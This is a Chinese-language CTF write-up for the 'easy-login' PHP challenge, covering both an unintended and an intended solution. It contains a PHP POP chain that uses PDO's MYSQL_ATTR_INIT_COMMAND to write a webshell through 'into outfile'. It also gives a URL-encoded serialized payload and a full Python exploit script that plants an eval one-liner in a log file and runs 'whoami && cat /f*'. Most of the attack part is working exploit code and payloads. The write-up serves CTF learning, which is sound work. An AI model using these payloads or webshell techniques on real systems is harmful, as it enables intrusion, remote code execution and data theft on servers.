easy-login
这个题群主在出红包题的时候发过了,当时侥幸拿了一血,但群主说非预期。这次放出来预期解,简单学习一下。
非预期
前面找链子大家应该都能找到,就不说了。
关键代码如下
class mysql_helper
{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct()
{
$this->init();
}
public function __wakeup()
{
$this->init();
}
private function init()
{
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****', //敏感信息打码
'password' => '****', //敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo()
{
try {
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
} catch (PDOException $e) {
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
option
参数可控,本想mysql恶意文件读取,但是有__wakeup
限制,不能连接远程服务器。查阅文档 发现另一个参数
可指定在连接mysql时执行的语句,故into outfile
写马即可。
pop链构造如下
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?=`nl /*`;' into outfile '/var/www/html/3.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$_SESSION['user'] = new application();
echo session_encode();
最终payload,打了之后访问3.php即可。
/index.php?action=main&token=user|O%3a11%3a"application"%3a2%3a{s%3a5%3a"mysql"%3bO%3a12%3a"mysql_helper"%3a1%3a{s%3a6%3a"option"%3ba%3a1%3a{i%3a1002%3bs%3a57%3a"select+'<%3f%3d`nl+/*`%3b'++into+outfile+'/var/www/html/3.php'%3b"%3b}}s%3a5%3a"debug"%3bb%3a1%3b}
预期解
import requests
import time
# Author:ctfshow-h1xa
url = "http://xxx/"
def step1():
data={
"username":"userLogger",
"password":"<?=eval($_POST[1]);?>.php"
}
response = requests.post(url=url+"index.php?action=do_register",data=data)
time.sleep(1)
if "script" in response.text:
print("第一步执行完毕")
else:
print(response.text)
exit()
def step2():
data="token=user|O%3A11%3A%22application%22%3A6%3A%7Bs%3A6%3A%22cookie%22%3BO%3A13%3A%22cookie_helper%22%3A1%3A%7Bs%3A21%3A%22%00cookie_helper%00secret%22%3Bs%3A20%3A%22ctfshow_36d_boy_h1xa%22%3B%7Ds%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A2%3A%7Bs%3A16%3A%22%00mysql_helper%00db%22%3Ba%3A7%3A%7Bs%3A3%3A%22dsn%22%3Bs%3A55%3A%22mysql%3Ahost%3D127.0.0.1%3Bdbname%3Dblog%3Bport%3D3306%3Bcharset%3Dutf8%22%3Bs%3A4%3A%22host%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bs%3A4%3A%223306%22%3Bs%3A6%3A%22dbname%22%3Bs%3A4%3A%22blog%22%3Bs%3A8%3A%22username%22%3Bs%3A4%3A%22root%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22root%22%3Bs%3A7%3A%22charset%22%3Bs%3A4%3A%22utf8%22%3B%7Ds%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A19%3Bi%3A262152%3B%7D%7Ds%3A9%3A%22dispather%22%3BN%3Bs%3A5%3A%22loger%22%3BO%3A10%3A%22userLogger%22%3A3%3A%7Bs%3A8%3A%22username%22%3BN%3Bs%3A20%3A%22%00userLogger%00password%22%3BN%3Bs%3A20%3A%22%00userLogger%00filename%22%3Bs%3A10%3A%22..%2Flog.txt%22%3B%7Ds%3A5%3A%22debug%22%3Bb%3A1%3Bs%3A10%3A%22dispatcher%22%3BO%3A10%3A%22dispatcher%22%3A0%3A%7B%7D%7D"
response = requests.get(url=url+"index.php?action=main&token="+data)
time.sleep(1)
print("第二步执行完毕")
def step3():
data={
"1":"system('whoami && cat /f*');",
}
response = requests.post(url=url+"log.txt_-%3C%3F%3Deval(%24_POST%5B1%5D)%3B%3F%3E.php",data=data)
time.sleep(1)
if "www-data" in response.text:
print("第三步 getshell 成功")
print(response.text)
else:
print("第三步 getshell 失败")
if __name__ == '__main__':
step1()
step2()
step3()
可以看到是先注册了一个用户名
为 userLogger
,密码
为<?=eval($_POST[1]);?>.php
的用户,然后触发反序列化,写入日志马,然后拿到shell。
其实关键的地方和非预期一样,也是序列化时的options参数,
key为19,value为262152.
19即为 PDO::ATTR_DEFAULT_FETCH_MODE
,其值指定了数据库的结果(和数据库没关系)如何返回给调用者,其实是指定了PDOStatement::fetch
函数的model
参数。
model
参数可以由两部分组成,高2字节可以指定ftech_flag
,第2字节指定了fetch_type
.具体如下
而262152
即 0x0040000+ 0x08
,也就是对应PDO_FETCH_CLASSTYPE | PDO_FETCH_CLASS
,即将结果的第一列做为类名, 然后新建一个实例。
在初始化属性值时,sql的列名
就对应者类的属性名
,如果存在某个列名
,但在该类中不存在这个属性名
,在赋值时就会触发类的_set
方法。属性初始化结束后,最后还会调用一次 __construct
方法。
所以,username注册为userLogger
其实指定的是类名。password
中包含一句话木马,以.php
结尾,最后生成一句话木马文件。